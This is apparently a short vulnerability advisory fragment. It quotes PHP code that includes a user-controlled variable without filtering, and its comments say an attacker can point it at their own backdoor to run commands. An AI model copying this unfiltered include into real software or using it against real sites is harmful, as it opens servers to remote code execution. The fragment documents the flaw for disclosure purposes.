#
# Vulnerable code source : 
#

if(!isset($file_op))$file_op='';

if($file_op!="")

{
        $op_basepath = trim(strrev(strstr(strrev($file_op),"/php/")));

        if($op_basepath!='') $op_basepath = str_replace("/php/", "/", $op_basepath);

        include($file_op);

# The problem is that the variable $file_op is not filtered
# Then, you can put the link that you want, like your own backdoor
# and execute commands.
